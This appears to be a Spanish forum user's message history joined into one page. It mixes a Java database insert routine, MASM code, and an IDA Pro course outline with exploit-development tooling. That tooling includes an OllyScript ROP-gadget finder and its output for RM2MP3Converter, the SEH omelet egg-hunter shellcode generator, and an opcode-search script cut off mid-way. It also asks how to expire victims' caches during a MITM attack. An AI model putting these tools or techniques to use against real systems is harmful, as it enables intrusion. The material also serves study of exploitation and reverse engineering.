Si estoy utilizando la técnica MITM, ¿Existe alguna manera de hacer que los usuarios expiren su cache?, saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúArrayList datosClientes = new ArrayList();
datosClientes.add(jTextField_rut.getText());
datosClientes.add(tipo);
datosClientes.add(jTextField_nombre.getText());
datosClientes.add(jTextField_apellido_paterno.getText());
datosClientes.add(jTextField_apellido_materno.getText());
datosClientes.add(fechaNacimiento);
datosClientes.add("Date()");
datosClientes.add(sexo);
datosClientes.add(jTextField_direccion.getText());
datosClientes.add(jTextField_comuna.getText());
datosClientes.add(jTextField_ciudad.getText());
datosClientes.add(jTextField_tel_movil.getText());
datosClientes.add(jTextField_tel_fijo.getText());
datosClientes.add(jTextField_email.getText());
datosClientes.add(jTextField_referido.getText());
datosClientes.add(jTextField_descuento.getText());
datosClientes.add(jTextField_observaciones.getText());
JavaClass.BDClass.insertarCliente(datosClientes);
public static void insertarCliente(ArrayList input) throws ClassNotFoundException, SQLException {
String sql = "INSERT INTO Clientes(Rut, Tipo, Nombre, ApellidoPaterno, ApellidoMaterno, FechaNacimiento, FechaRegistro, Sexo, Direccion, Comuna, Ciudad, TelMovil, TelFijo, CorreoElectronico, Referido, Descuento, Observaciones) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);";
JavaClass.BDClass db;
db = new JavaClass.BDClass();
conexion = db.connect();
PreparedStatement pst = conexion.prepareStatement(sql);
for(int i=1; i<12; i++){
pst.setString(i, input.get(i-1).toString());
}
for(int i=12; i<14; i++){
if(input.get(i).toString().trim().length() == 0){
pst.setInt(i, 1);//
}else{
pst.setInt(i, Integer.parseInt(input.get(i-1).toString()));
}
}
for(int i=14; i<16; i++){
pst.setString(i, input.get(i-1).toString());
}
if(input.get(16).toString().trim().length() == 0){
pst.setInt(16, 2);//
}else{
pst.setInt(16, Integer.parseInt(input.get(15).toString()));
}
pst.setString(17, input.get(16).toString());
pst.executeUpdate();
conexion.close();
for(int i=0; i<17; i++){
System.out.println(input.get(i));
}
}
JComponent JComponent_form[][] = new JComponent[16][3];
JComponent_form[0][0] = jTextField_rut;
JComponent_form[1][0] = jComboBox_tipo;
JComponent_form[2][0] = jTextField_nombre;
JComponent_form[3][0] = jTextField_apellido_paterno;
JComponent_form[1][0].setText("Hola");
.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
DlgProc PROTO,
hWnd:HWND,
uMsg:UINT,
wParam:WPARAM,
lParam:LPARAM
.const
.data
DlgName byte "IDD_DLG1",0
processName byte "calc.exe",0
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hThread HANDLE ?
processInf PROCESSENTRY32 <>
.code
FindProcess PROC
LOCAL hSnapshot:HANDLE
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov hSnapshot,eax
invoke Process32First,hSnapshot,addr processInf
invoke Process32Next,hSnapshot,addr processInf
invoke GetLastError
ret
FindProcess ENDP
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke DialogBoxParam,hInstance,ADDR DlgName,NULL,ADDR DlgProc,NULL
invoke ExitProcess,eax
DlgProc PROC hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_INITDIALOG
mov processInf.dwSize,sizeof PROCESSENTRY32
invoke CreateThread,NULL,0,ADDR FindProcess,NULL,0,0
mov hThread,eax
push eax
.ELSEIF uMsg == WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc ENDP
END start
Citar1.— Preparando el camino
1.1— Introducción a la teoría del desensamblado
1.1.1— ¿Qué podemos decir del desensamblado?
1.1.2— ¿Por qué hay que desensamblar?
1.1.3— ¿Cómo desensamblar?
1.2— Desensamblado de barrido lineal
1.3— Desensamblado recursivo descendiente
2.— La base de IDA PRO
2.1— Instalación de IDA
2.1.1.— Instalación en Windows
2.1.2.— Instalación OS X y Linux
2.2.— Los directorios de IDA
2.3.— Concepción de la pantalla de usuario de IDA
3.1.— Iniciándonos con IDA
3.1.1.— Ejecutar IDA
3.1.2.— Cargar un archivo en IDA
3.1.3.— Utilizar el cargador Binary file
3.2.— Archivos de base de datos de IDA
3.3.— Advertencias del cargador
3.4.— Crear una base de datos IDA
3.4.1.— Identificación del compilador
3.4.2.— Identificación de argumentos de función y variables locales
3.4.3.— Información del tipo de datos
3.5.— Cerrar las bases de datos de IDA
3.6.— Reabrir una base de datos
3.7.— Introducción al escritorio de IDA
3.7.1.— Área de herramientas
3.7.2.— Banda de navegación
3.7.3.— Solapas
3.7.4.— Vista de desensamblado (disassembly view)
3.7.5.— Vista gráfica general (graph overview)
3.7.6.— Ventana de mensajes (message windows)
3.7.7,— Ventanas
3.8.— Comportamiento del escritorio durante el análisis inicial
3.9.— Algunos recursos y trucos del área de trabajo de IDA
4.— Las vistas principales de IDA
4.1.— La ventana de desensamblado
4.1.1.— Vista gráfica de IDA (Graph View)
4.1.2.— Vista de listado IDA
4.1.3.— La ventana Names
4.1.4.— Ventana de mensajes
4.1.5.— La ventana Strings
4.2.— Ventanas secundarias de IDA
4.2.1.— Ventana Hex View
4.2.2.— Ventana Exports
4.2.3.— Ventana Imports
4.2.4.— Ventana Functions
4.2.5.— Ventana Structures
4.2.6.— Ventana Enums
4.3.— Ventanas terciarias de IDA
4.3.1.— Ventana Segments
4.3.2.— Ventana Signatures
4.3.3.— Ventana Type Libraries
4.3.4.— Ventana Function Calls
4.3.5.— Ventana Problems
5.1.— Navegación básica de IDA
5.1.1.— Navegación con doble click
5.1.2.— Saltar a una dirección
5.1.3.— Historial de navegación
5.2.— Estructura de pila (Stack Frame)
5.2.1.— Acuerdos de llamada (Calling Conventions)
5.2.1.2.— Acuerdo de llamada Standard
5.2.1.3.— Acuerdo de llamada para x86 fastcall
5.2.1.4.— Acuerdos de llamada C++
5.2.1.5.— Otros acuerdos de llamada
5.2.2.— Esquema de variable local
5.2.3.— Unos ejemplos de Stack Frame
5.2.4.— Vistas de la pila en IDA
5.3.— Buscar en la base de datos
5.3.1.— Búsqueda de texto
5.3.2.— Búsqueda binaria
6.1.— Nombres y nombramiento
6.1.1.— Parámetros y locales variables
6.1.2.— Ubicaciones con nombre
6.1.3.— Nombres de registro
6.2.— Realizar comentarios en IDA
6.2.1.— Comentarios corrientes
6.2.2.— Comentarios repetitivos
6.2.3.— Comentario de línea anterior y posterior
6.2.4.— Comentarios de función
6.3.— Transformaciones básicas del código
6.3.1.— Opciones de vista de código
6.3.2.— Formato de los operandos en las instrucciones
6.3.3.— Manipular funciones
6.3.3.1.— Crear funciones nuevas
6.3.3.2.— Borrar funciones
6.3.3.3.— Funciones troceadas
6.3.3.4.— Atributos de función
6.3.3.5.— Ajustes del puntero de pila (Stack Pointer)
6.3.4.— Convertir datos a código y viceversa
6.4.— Transformaciones básicas de datos
6.4.1.— Especificar el tamaño de los datos
6.4.2.— Trabajar con cadenas (Strings)
6.4.3.— Especificar Arrays (Conjuntos)
7.0.— Tipos de datos y estructuras de datos (Introducción)
7.1.— Reconocer la estructura de datos que se utiliza
7.1.1.— Acceso a un elemento de un array (conjunto)
7.1.1.1.— Conjuntos distribuidos globalmente
7.1.1.2.— Conjuntos distribuidos en la pila
7.1.1.3.— Conjuntos distribuidos en el Heap (almacenamiento de pila)
7.1.2.— Acceso a un elemento de estructura
7.1.2.1.— Estructuras distribuidas globalmente
7.1.2.2.— Estructuras distribuidas en la pila
7.1.2.3.— Estructuras distribuidas en el heap
7.1.2.4.— Estructuras de conjuntos
7.2.— Crear estructuras en IDA
7.2.1.— Realizar el esquema de una estructura de forma manual
7.2.1.1.— Crear una nueva estructura (Create structure/Union)
7.2.1.2.— Editar los elementos de una estructura
7.2.1.3.— Stack frame, una estructura especial
7.3.— Utilizar estructuras plantilla
7.4.— Importar nuevas estructuras
7.4.1.— Analizar las declaraciones de estructuras C
7.4.2.— Analizar encabezados de archivos C
7.5.— Utilizar estructuras estandarizadas
7.6.— Archivos de IDA con extensión TIL
7.6.1.— Cargar nuevos archivos .til
7.6.2.— Compartir archivos TIL
7.7.— Compendio de ingeniería inversa para C++
7.7.1.— El puntero this
7.7.2.— Funciones virtuales y vtable
7.7.3.— El ciclo vital del objeto
7.7.4.— Deformación de nombres (names)
7.7.5.— Identificación de tipos en tiempo de ejecución
7.7.6.— Relaciones de herencia
8.0.— Referencias cruzadas y gráficos
8.1.— Referencias cruzadas
8.1.1.— Referencias cruzadas de código
8.1.2.— Referencias cruzadas de datos
8.1.3.— Listado de referencias cruzadas
8.1.4.— Llamadas de función
8.2.— Graficado en IDA
8.2.1.— Graficado heredado para IDA
8.2.1.1.— Ordinagramas legacy
8.2.1.2.— Graficado heredado de llamadas
8.2.1.3.— Graficado heredado de referencias cruzadas
8.2.1.4.— Graficados de referencias cruzadas a medida
8.2.2.— Vista gráfica integrada de IDA
9.0.— Las caras de IDA
9.1.— IDA en modo consola
9.1.1.— Características comunes en modo consola
9.1.2.— IDA en la consola Windows
9.2.— Utilizar IDA en modo Batch
9.3.— La IDA GUI en plataformas no Windows
10.1.— Archivos de configuración IDA
10.1.1.— ida.cfg: archivo principal de configuración
10.1.2.— idagui.cfg: configuración de la GUI
10.1.3.— idatui.cfg: Configuración de la consola
10.2.— Opciones de configuración adicionales en IDA
10.2.1.— Colores en IDA
10.2.2.— Personalizar las barras de herramientas de IDA
11.0.— Reconocimiento de librerías utilizando firmas FLIRT
11.1.— Tecnología de identificación y reconocimiento rápido de librería
11.2.— Aplicación de firmas FLIRT
11.3.— Crear archivos de firma FLIRT
11.3.1.— Pasos generales para crear firmas
11.3.2.— Identificar y encontrar las librerías estáticas
11.3.3.— Crear archivos maestros
11.3.4.— Crear archivos de firmas
11.3.5.— Firmas de arranque
12.1.— Aumentar la información de las funciones para IDA
12.1.1.— Archivos IDS
12.1.2.— Crear archivos IDS
12.2.— Aumentar los comentarios predefinidos con loadint
13.1.— El vergonzoso menú "Patch Program"
13.1.1.— Cambiar bytes individualmente en la base de datos
13.1.2.— Cambiar en la base de datos un "Word"
13.1.3.— Utilizar el diálogo Assemble
13.2.— Archivos de salida de IDA y generación de parches
13.2.1.— Generar archivos MAP
13.2.2.— Generar archivos ASM
13.2.3.— Generar archivos INC
13.2.4.— Generar archivos LST
13.2.5.— Generar archivos EXE
13.2.6.— Generar archivos DIF
13.2.7.— Generar archivos HTML
14.0.— Realizar scripts con IDC
14.1.— Ejecución básica de un script
14.2.— El lenguaje IDC
14.2.1.— Variables IDC
14.2.2.— Expresiones IDC
14.2.3.— Declaraciones IDC
14.2.4.— Funciones IDC
14.2.5.— Programas IDC
14.2.6.— Como se tratan los errores en IDC
14.2.7.— Almacenamiento permanente de datos en IDC
14.3.— Asociar scripts IDC con los atajos de teclado
14.4.— Utilizar funciones IDC
14.4.1.— Funciones para leer y modificar datos
14.4.2.— Utilizar funciones interactivas
14.4.3.— Funciones para manipulación de strings
14.4.4.— Funciones de archivo Input/Output
14.4.5,— Manipulación de los "Names" de la base de datos
14.4.6.— Funciones que trabajan con funciones
14.4.7.— Funciones para referencias cruzadas de código
14.4.8.— Funciones para referencias cruzadas de datos
14.4.9.— Funciones para la manipulación de la base de datos
14.4.10.— Funciones de búsqueda en la base de datos
14.4.11.— Componentes de la línea de desensamblado
14.5 Ejemplos de scripts idc
14.5.1.— Enumerar funciones
14.5.2.— Enumerar instrucciones
14.5.3.— Enumerar referencias cruzadas
15.5.3.1.— Enumerar los llamadores de una función
14.5.4.— Enumerar funciones exportadas
14.5.5.— Hallar y etiquetar los argumentos de una función
15.0.— Alineando ideas
15.1.— Introducción al SDK
15.1.1.— Instalación del SDK
15.1.2.— Esquema del SDK
15.1.3.— Configurar un entorno de trabajo
15.2.— Interfaz de programación de IDA
15.2.1.— Conocer los archivos Header
15.2.2.— Netnodes
15.2.2.1.— Crear netnodes
15.2.2.2.— Almacenar datos en netnodes
15.2.2.3.— Eliminar netnodes y datos netnode
15.2.3 Tipos de dato útiles del SDK
15.2.4.— Funciones SDK de uso común
15.2.4.1.— Acceso básico a la base de datos
15.2.4.2.— Funciones de interconexión con el usuario
15.2.4.3.— Manipulación de los nombres (Names) en la base de datos
15.2.4.4.— Manipulación de funciones
15.2.4.5.— Manipulación de estructuras
15.2.4.6.— Manipulación de segmento
15.2.4.7.— Referencias cruzadas de código
15.2.4.8.— Referencias cruzadas de datos
15.2.5,— Técnicas de iteración utilizando IDA API
15.2.5.1.— Enumerar funciones
15.2.5.2.— Enumerar elementos de estructura
15.2.5.3.— Enumerar referencias cruzadas
16.0— Arquitectura de IDA Plug-in
16.1.— Programar un plug-in
16.1.1.— El ciclo vital del plug-in
16.1.2.— Inicialización del plug-in
16.1.3.— Notificación de eventos
16.1.4.— Ejecución de un plug-in
16.2.— Construir nuestros plug-in
16.3.— Instalación de plug-in
16.4.— Configuración de plug-in
16.5.— Extensión con IDC
16.6.— Opciones de diseño para pantalla de usuario del plug-in
16.6.1.— Construir elementos de enlace (pantalla) con el SDK
16.6.1.1.— Utilizar los diálogos de elección (Choose) del SDK
16.6.1.2.— Crear formularios a medida con el SDK
16.6.1.3.— Otras técnicas para generar pantallas de usuario
17.0.— Binary file y módulos de carga
17.1.— Análisis de archivos desconocidos
17.2.— Carga manual de un archivo PE Windows
17.3.— Módulos de carga IDA
17.4.— Programar un cargador IDA
17.4.1.— Cargador para Papanatas
17.4.2.— Construir un módulo de carga IDA
17.4.3.— Un cargador pcap (packet capture) de ida
17.5.— Estrategias para otros cargadores
18.0 – Módulos de procesador de IDA
18.1.— Byte code Python
18.2.— El intérprete Python
18.3.— Programar un módulo procesador
18.3.1.— La estructura processor_t
18.3.2.— Inicialización básica de la estructura LPH
18.3.3.— El analizador
18.3.4.— El emulador
VAR V_ANY
VAR V_COUNT
VAR V_COUNT_REFERENCE
VAR V_COUNT_OPCODE
VAR V_OPCODE
VAR V_ADDRESS
VAR V_ROP_GADGET
VAR V_MODULE_ADDRESS
VAR V_MODULE_NAME
VAR V_MODULE_MBASE
VAR V_MODULE_CBASE
VAR V_MODULE_SIZE
VAR V_UNICODE
VAR V_INSTRUCTION
VAR V_INPUT_NAME
VAR V_OUTPUT_NAME
ASK "Enter instruction(s) EX: "PUSH EAX;PUSH ECX" , "PUSH R32;RETN" , "PUSH CONST", etc."
MOV V_INSTRUCTION,$RESULT
ASK "Only Unicode address finder?: (Y)/(N)"
MOV V_UNICODE,$RESULT
ASK "Output filename without extension EX: ROP1"
MOV V_INPUT_NAME,$RESULT
EVAL "ROPGadgets-{V_INPUT_NAME}.log"
MOV V_OUTPUT_NAME,$RESULT
MOV V_ANY,6
WRT V_OUTPUT_NAME," ------------------------------------ ROP Gadgets v1.0 ------------------------------------"
L_ENTRY_POINT:
FINDMEM #546869732070726F6772616D#,V_MODULE_ADDRESS
MOV V_MODULE_ADDRESS,$RESULT
CMP V_MODULE_ADDRESS,0
JE L_EXIT
GMI V_MODULE_ADDRESS,NAME
MOV V_MODULE_NAME,$RESULT
GMI V_MODULE_ADDRESS,MODULEBASE
MOV V_MODULE_MBASE,$RESULT
GMI V_MODULE_ADDRESS,CODEBASE
MOV V_MODULE_CBASE,$RESULT
GMI V_MODULE_ADDRESS,MODULESIZE
MOV V_MODULE_SIZE,$RESULT
WRTA V_OUTPUT_NAME,"/--------------------------------------------------------------------------------------------\"
EVAL "| Module address:[{V_MODULE_MBASE}] | Module size:[{V_MODULE_SIZE}] | Name:[{V_MODULE_NAME}]"
WRTA V_OUTPUT_NAME,$RESULT
WRTA V_OUTPUT_NAME,"----------------------------------------------------------------------------------------------"
FINDCMD V_MODULE_CBASE,V_INSTRUCTION
CALL L_FIND_GADGET
INC V_MODULE_ADDRESS
JMP L_ENTRY_POINT
L_EXIT:
RET
L_FIND_GADGET:
GREF
MOV V_COUNT_REFERENCE,$RESULT
INC V_COUNT_REFERENCE
L_NEXT_REFERENCE:
XOR V_COUNT_OPCODE,V_COUNT_OPCODE
CMP V_COUNT,V_COUNT_REFERENCE
JAE L_RETURN
GREF V_COUNT
INC V_COUNT
MOV V_ADDRESS,$RESULT
CMP V_ADDRESS,eip
JE L_NEXT_REFERENCE
CMP V_UNICODE,"Y"
JE L_UNICODE_CHECK
L_UNICODE_CONTINUE:
OPCODE V_ADDRESS
ITOA V_ADDRESS
LEN $RESULT
CMP $RESULT,6
JE L_ADD1_2
CMP $RESULT,7
JE L_ADD1_1
L_ADD1_0:
EVAL "|{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE1
L_ADD1_1:
EVAL "|0{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE1
L_ADD1_2:
EVAL "|00{V_ADDRESS} | {$RESULT_1}\r\n|"
L_ADD_CONTINUE1:
MOV V_ROP_GADGET,$RESULT
L_NEXT_OPCODE:
ADD V_ADDRESS,$RESULT_2
OPCODE V_ADDRESS
MOV V_OPCODE,$RESULT
ITOA V_ADDRESS
LEN $RESULT
CMP $RESULT,6
JE L_ADD2_2
CMP $RESULT,7
JE L_ADD2_1
L_ADD2_0:
EVAL "{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE2
L_ADD2_1:
EVAL "0{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE2
L_ADD2_2:
EVAL "00{V_ADDRESS} | {$RESULT_1}\r\n|"
L_ADD_CONTINUE2:
ADD V_ROP_GADGET,$RESULT
CMP "C3",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 0400",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 0800",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 0C00",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1400",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1800",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1C00",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 2000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 4000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 8000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 C000",V_OPCODE
JE L_LOG_OPCODE
CMP "C3 0000",V_OPCODE
JE L_LOG_OPCODE
INC V_COUNT_OPCODE
CMP V_COUNT_OPCODE,V_ANY
JA L_NEXT_REFERENCE
JMP L_NEXT_OPCODE
L_LOG_OPCODE:
WRTA V_OUTPUT_NAME,V_ROP_GADGET
JMP L_NEXT_REFERENCE
L_UNICODE_CHECK:
TEST V_ADDRESS,FF00FF00
JNE L_NEXT_REFERENCE
JMP L_UNICODE_CONTINUE
L_RETURN:
WRTA V_OUTPUT_NAME,"\--------------------------------------------------------------------------------------------/" + "\r\n\r\n\r\n\r\n"
XOR V_COUNT,V_COUNT
RET
------------------------------------ ROP Gadgets v1.0 ------------------------------------
/--------------------------------------------------------------------------------------------\
| Module address:[400000] | Module size:[BE000] | Name:[RM2MP3Co]
----------------------------------------------------------------------------------------------
|0040A7A7 | PUSH EAX
|0040A7A8 | PUSH ECX
|0040A7A9 | CALL DWORD PTR DS:[0x43C064]
|0040A7AF | RETN 0x4
|
|0040A7C7 | PUSH EAX
|0040A7C8 | PUSH ECX
|0040A7C9 | CALL DWORD PTR DS:[0x43C898]
|0040A7CF | PUSH EAX
|0040A7D0 | CALL 004372E6
|0040A7D5 | RETN 0x4
|
|0040A835 | PUSH EAX
|0040A836 | PUSH ECX
|0040A837 | CALL DWORD PTR DS:[0x43C0D0]
|0040A83D | RETN 0x1C
|
|0040BA2E | PUSH EAX
|0040BA2F | PUSH ECX
|0040BA30 | CALL 004094D0
|0040BA35 | ADD ESP,0xC
|0040BA38 | POP EDI
|0040BA39 | POP ESI
|0040BA3A | RETN 0xC
|
|0041270C | PUSH EAX
|0041270D | PUSH ECX
|0041270E | CALL DWORD PTR DS:[0x43C840]
|00412714 | MOV ECX,ESI
|00412716 | CALL 00437142
|0041271B | POP ESI
|0041271C | RETN
|
|0041668F | PUSH EAX
|00416690 | PUSH ECX
|00416691 | CALL DWORD PTR DS:[0x43C7A4]
|00416697 | POP EDI
|00416698 | POP ESI
|00416699 | ADD ESP,0x30
|0041669C | RETN 0xC
|
|00425F44 | PUSH EAX
|00425F45 | PUSH ECX
|00425F46 | CALL DWORD PTR DS:[0x43C01C]
|00425F4C | RETN 0x8
|
|00436077 | PUSH EAX
|00436078 | PUSH ECX
|00436079 | CALL DWORD PTR DS:[0x43C840]
|0043607F | RETN 0x4
|
|0043799C | PUSH EAX
|0043799D | PUSH ECX
|0043799E | CALL 004379BE
|004379A3 | POP ECX
|004379A4 | POP ECX
|004379A5 | RETN
|
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[58C30000] | Module size:[97000] | Name:[comctl32]
----------------------------------------------------------------------------------------------
|58C3E87E | PUSH EAX
|58C3E87F | PUSH ECX
|58C3E880 | PUSH DWORD PTR SS:[EBP+0x10]
|58C3E883 | PUSH DWORD PTR SS:[EBP+0xC]
|58C3E886 | CALL DWORD PTR DS:[0x58C314D0]
|58C3E88C | POP EBP
|58C3E88D | RETN 0x10
|
|58C4237D | PUSH EAX
|58C4237E | PUSH ECX
|58C4237F | CALL 58C41198
|58C42384 | XOR EAX,EAX
|58C42386 | INC EAX
|58C42387 | POP ESI
|58C42388 | POP EBP
|58C42389 | RETN 0x8
|
|58C646C5 | PUSH EAX
|58C646C6 | PUSH ECX
|58C646C7 | CALL 58C5070D
|58C646CC | ADD ESP,0xC
|58C646CF | POP EDI
|58C646D0 | POP ESI
|58C646D1 | POP EBP
|58C646D2 | RETN 0x8
|
|58C6982D | PUSH EAX
|58C6982E | PUSH ECX
|58C6982F | CALL 58C3C278
|58C69834 | POP EBP
|58C69835 | RETN 0xC
|
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[5B150000] | Module size:[38000] | Name:[uxtheme]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[5CF60000] | Module size:[26000] | Name:[shimeng]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[61DF0000] | Module size:[E000] | Name:[mfc42loc]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[6FDB0000] | Module size:[1CA000] | Name:[AcGenral]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[73D50000] | Module size:[FE000] | Name:[mfc42]
----------------------------------------------------------------------------------------------
|73D60192 | PUSH EAX
|73D60193 | PUSH ECX
|73D60194 | CALL DWORD PTR DS:[EDX+0x28]
|73D60197 | POP ESI
|73D60198 | RETN 0x4
|
|73D88F8C | PUSH EAX
|73D88F8D | PUSH ECX
|73D88F8E | MOV ECX,ESI
|73D88F90 | CALL 73DCB5A6
|73D88F95 | POP ESI
|73D88F96 | RETN 0x4
|
|73DAAAB9 | PUSH EAX
|73DAAABA | PUSH ECX
|73DAAABB | CALL DWORD PTR DS:[0x73DF66E0]
|73DAAAC1 | ADD ESP,0xC
|73DAAAC4 | SUB DWORD PTR DS:[ESI+0x8],EDI
|73DAAAC7 | POP EDI
|73DAAAC8 | POP ESI
|73DAAAC9 | RETN 0x8
|
|73DCCA4B | PUSH EAX
|73DCCA4C | PUSH ECX
|73DCCA4D | PUSH ESI
|73DCCA4E | CALL 73DC914B
|73DCCA53 | POP ESI
|73DCCA54 | RETN 0x8
|
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[76030000] | Module size:[65000] | Name:[msvcp60]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[76360000] | Module size:[4A000] | Name:[comdlg32]
----------------------------------------------------------------------------------------------
|7638A193 | PUSH EAX
|7638A194 | PUSH ECX
|7638A195 | CALL DWORD PTR DS:[0x763613D8]
|7638A19B | POP EBP
|7638A19C | RETN 0xC
|
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[76630000] | Module size:[B4000] | Name:[userenv]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[76B00000] | Module size:[2E000] | Name:[winmm]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/
/--------------------------------------------------------------------------------------------\
| Module address:[770F0000] | Module size:[8C000] | Name:[oleaut32]
----------------------------------------------------------------------------------------------
invoke CreateToolhelp32Snapshot, TH32CS_SNAPMODULE, idproc
mov hSnapshot,eax
mov me32.dwSize, sizeof MODULEENTRY32
invoke Module32First, hSnapshot, addr me32
test eax,eax
je fin
CitarC:\Documents and Settings\Administrador\Escritorio\omelet>w32_SEH_omelet.py w32_
SEH_omelet.bin shellcode.bin hola.txt
File "C:\Documents and Settings\Administrador\Escritorio\omelet\w32_SEH_omelet
.py", line 88
"""
^
SyntaxError: invalid syntax
import math
import sys
def HexEncode(string):
result = ''
for char in string:
result += '\\x%02X' % ord(char)
return result
def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
if (marker_bytes.startswith('0x')):
marker_bytes = int(marker_bytes[2:], 16)
else:
marker_bytes = int(marker_bytes)
if (egg_size.startswith('0x')):
egg_size = int(egg_size[2:], 16)
else:
egg_size = int(egg_size)
assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'
bin = open(bin_file).read()
marker_bytes_location = ord(bin[-3])
max_index_location = ord(bin[-2])
egg_size_location = ord(bin[-1])
code = bin[:-3]
shellcode = open(shellcode_file).read()
max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0)))
assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of %X '
'(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
max_index, max_index, egg_size, egg_size)
marker_bytes_string = ''
for i in range(0,3):
marker_bytes_string += chr(marker_bytes & 0xFF)
marker_bytes >>= 8
max_index_string = chr(max_index)
egg_size_string = chr(egg_size - 5)
# insert variables into code
code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
output = [
'// This is the binary code that needs to be executed to find the eggs, ',
'// recombine the orignal shellcode and execute it. It is %d bytes:' % (
len(code),),
'omelet_code = "%s";' % HexEncode(code),
'',
'// These are the eggs that need to be injected into the target process ',
'// for the omelet shellcode to be able to recreate the original shellcode',
'// (you can insert them as many times as you want, as long as each one is',
'// inserted at least once). They are %d bytes each:' % (egg_size,) ]
egg_index = 0
while shellcode:
egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
egg += shellcode[:egg_size - 5]
if len(egg) < egg_size:
# tail end of shellcode is smaller than an egg: add pagging:
egg += '@' * (egg_size - len(egg))
output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
shellcode = shellcode[egg_size - 5:]
egg_index += 1
open(output_file, 'w').write('\n'.join(output))
if __name__ == '__main__':
if len(sys.argv) == 1 or sys.argv[1] in ('-h', '-?', '/h', '/?'):
print """Syntax:
w32_SEH_omelet.py "omelet bin file" "shellcode bin file" "output txt file"
[egg size] [marker bytes]
Where:
omelet bin file = The omelet shellcode stage binary code followed by three
bytes of the offsets of the "marker bytes", "max index"
and "egg size" variables in the code.
shellcode bin file = The shellcode binary code you want to have stored in
the eggs and reconstructed by the omelet shellcode stage
code.
output txt file = The file you want the omelet egg-hunt code and the eggs
to be written to (in text format).
egg size = The size of each egg (legal values: 6-127, default: 127)
marker bytes = The value you want to use as a marker to distinguish the
eggs from other data in user-land address space (legal
values: 0-0xFFFFFF, default value: 0x280876)
"""
assert len(sys.argv) >= 4 and len(sys.argv) <= 6, (
'Incorrect arguments; run "w32_SEH_omelet.py -?" for help.')
exit(Main(*sys.argv))
VAR ADDRESS
VAR V_OPCODE
ASK "Select option: JMP (1) - CALL (2) - POP/POP/RET (3)"
CMP $RESULT,1
JE L_BEGIN_SEARCH_1
CMP $RESULT,2
JE L_BEGIN_SEARCH_2
CMP $RESULT,3
JE L_BEGIN_SEARCH_3
JMP L_EXIT
L_BEGIN_SEARCH_1:
FINDMEM #FFE?#
L_SEARCH_JMP:
TEST $RESULT,$RESULT
JE L_EXIT
MOV ADDRESS,$RESULT
TEST ADDRESS,FF00FF00
JNE L_NEXT_SEARCH_JMP
MOV V_OPCODE,$RESULT
INC V_OPCODE
MOV V_OPCODE,[V_OPCODE],1
CMP V_OPCODE,E7
JA L_NEXT_SEARCH_JMP
GCI ADDRESS,COMMAND
EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[{$RESULT}]"
LOG "",$RESULT
L_NEXT_SEARCH_JMP:
INC ADDRESS
FINDMEM #FFE?#,ADDRESS
JMP L_SEARCH_JMP
L_BEGIN_SEARCH_2:
FINDMEM #FFD?#
L_SEARCH_CALL:
TEST $RESULT,$RESULT
JE L_EXIT
MOV ADDRESS,$RESULT
